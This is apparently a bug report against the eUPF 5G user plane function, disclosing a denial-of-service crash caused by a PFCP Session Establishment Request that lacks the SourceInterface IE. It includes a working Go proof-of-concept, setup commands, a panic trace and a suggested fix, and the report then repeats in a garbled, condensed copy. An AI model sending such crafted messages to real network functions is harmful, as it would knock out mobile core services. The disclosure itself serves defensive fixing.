Describe the bug
UPF crashes on a malformed PFCP SessionEstablishmentRequest that omits the mandatory SourceInterface IE in the PDI, leading to DoS.
To Reproduce
Steps to reproduce the behavior:
- Launch eUPF
sudo docker run -d --privileged --network host \
-v /sys/fs/bpf:/sys/fs/bpf \
-v /sys/kernel/debug:/sys/kernel/debug:ro \
-e UPF_INTERFACE_NAME=lo \
-e UPF_N3_ADDRESS=127.0.0.1 \
-e UPF_PFCP_ADDRESS="0.0.0.0:8805" \
-e UPF_PFCP_NODE_ID=127.0.0.1 \
-e UPF_API_ADDRESS="0.0.0.0:8080" \
-e UPF_METRICS_ADDRESS="0.0.0.0:9090" \
--name eupf ghcr.io/edgecomllc/eupf:main
- Start a new go project inside a new folder and create a main.go and paste the code below:
- Init Project
go mod init poc
package main
import (
"log"
"net"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
func main() {
pfcpAddr := "127.0.0.1:8805"
conn, err := dialPfcp(pfcpAddr)
if err != nil {
log.Fatalf("dial failed: %v", err)
}
defer conn.Close()
// Establish PFCP association
if _, err := sendAssociation(conn, 1); err != nil {
log.Fatalf("association setup failed: %v", err)
}
// Send malformed SessionEstablishmentRequest without SourceInterface IE
seid := uint64(0x1111)
req := message.NewSessionEstablishmentRequest(0, 0,
seid, 1, 0,
ie.NewNodeID("", "", "poc-smf"),
ie.NewFSEID(seid, net.ParseIP("127.0.0.1"), nil),
ie.NewCreatePDR(
ie.NewPDRID(1),
ie.NewPrecedence(255),
ie.NewPDI( // deliberately omit SourceInterface IE
ie.NewUEIPAddress(2, "10.60.0.10", "", 0, 0),
),
),
)
if err := sendMessage(conn, req); err != nil {
log.Fatalf("send session request failed: %v", err)
}
log.Println("Malicious Session Establishment message sent; check eUPF logs for panic inside displayPdr().")
}
func dialPfcp(pfcpAddr string) (*net.UDPConn, error) {
raddr, err := net.ResolveUDPAddr("udp", pfcpAddr)
if err != nil {
return nil, err
}
return net.DialUDP("udp", nil, raddr)
}
func sendAssociation(conn *net.UDPConn, seq uint32) (message.Message, error) {
msg := message.NewAssociationSetupRequest(seq,
ie.NewNodeID("", "", "poc-smf"),
ie.NewRecoveryTimeStamp(time.Now()),
ie.NewUPFunctionFeatures(0, 0, 0),
)
return sendAndReceive(conn, msg)
}
func sendMessage(conn *net.UDPConn, msg message.Message) error {
buf := make([]byte, msg.MarshalLen())
if err := msg.MarshalTo(buf); err != nil {
return err
}
_, err := conn.Write(buf)
return err
}
func sendAndReceive(conn *net.UDPConn, msg message.Message) (message.Message, error) {
if err := sendMessage(conn, msg); err != nil {
return nil, err
}
respBuf := make([]byte, 4096)
_ = conn.SetReadDeadline(time.Now().Add(2 * time.Second))
n, _, err := conn.ReadFromUDP(respBuf)
if err != nil {
return nil, err
}
return message.Parse(respBuf[:n])
}
- Run the PoC:
- Check eUPF logs for panic:
Expected behavior
The PFCP Session Establishment handler must validate presence of the SourceInterface IE in the PDI before use. If the IE is missing or malformed, the UPF should gracefully handle the message (e.g., reject the request with an appropriate PFCP cause code such as Mandatory IE missing or Invalid IE content, and log at warning level), without crashing.
Logs
2025/11/13 06:53:34 INF running on 127.0.0.1:8080
2025/11/13 06:53:34 INF running on 127.0.0.1:9091
2025/11/13 06:55:51 INF Got Association Setup Request from: 127.0.0.1
2025/11/13 06:55:51 INF
Association Setup Request:
Node ID: poc-smf
Recovery Time: 2025-11-13 06:55:51 +0000 UTC
2025/11/13 06:55:51 INF Saving new association: &{ID:poc-smf Addr:127.0.0.1 NextSessionID:1 NextSequenceID:1 Sessions:map[] HeartbeatChannel:0xc000114480 HeartbeatsActive:false Mutex:{state:0 sema:0}}
2025/11/13 06:55:51 INF Got Session Establishment Request from: 127.0.0.1.
panic: runtime error: index out of range [-1]
goroutine 14 [running]:
github.com/edgecomllc/eupf/cmd/core.displayPdr(0xc000019a28, 0xc0000b4740)
/app/cmd/core/display_utils.go:357 +0x914
github.com/edgecomllc/eupf/cmd/core.printSessionEstablishmentRequest(0xc0004b4640)
/app/cmd/core/display_utils.go:54 +0xed
github.com/edgecomllc/eupf/cmd/core.HandlePfcpSessionEstablishmentRequest(0xc0001aa380, {0x100ddc0, 0xc0004b4640}, {0xc0000122a0, 0x9})
/app/cmd/core/pfcp_session_handlers.go:41 +0x42b
github.com/edgecomllc/eupf/cmd/core.PfcpHandlerMap.Handle(0xc0005745d0, 0xc0001aa380, {0xc0004d6000, 0x4d, 0x5dc}, 0xc0000ab3e0)
/app/cmd/core/pfcp_handlers.go:29 +0x2b1
github.com/edgecomllc/eupf/cmd/core.(*PfcpConnection).Handle(0x1ed1560?, {0xc0004d6000?, 0x0?, 0xc000019f78?}, 0x2?)
/app/cmd/core/pfcp_connection.go:150 +0x32
github.com/edgecomllc/eupf/cmd/core.(*PfcpConnection).Run(0xc0001aa380)
/app/cmd/core/pfcp_connection.go:136 +0x2cf
created by main.main in goroutine 1
/app/cmd/main.go:103 +0xcfe
Environment (please complete the following information):
OS: Ubuntu 24.04
5GC kind and version: None
UPF version: a8d774a
Describe the bug
UPF crashes on a malformed PFCP SessionEstablishmentRequest that omits the mandatory SourceInterface IE in the PDI, leading to DoS.
To Reproduce
Steps to reproduce the behavior:
go mod init pocExpected behavior
The PFCP Session Establishment handler must validate presence of the
SourceInterfaceIE in the PDI before use. If the IE is missing or malformed, the UPF should gracefully handle the message (e.g., reject the request with an appropriate PFCP cause code such asMandatory IE missingorInvalid IE content, and log at warning level), without crashing.Logs
Environment (please complete the following information):
OS: Ubuntu 24.04
5GC kind and version: None
UPF version: a8d774a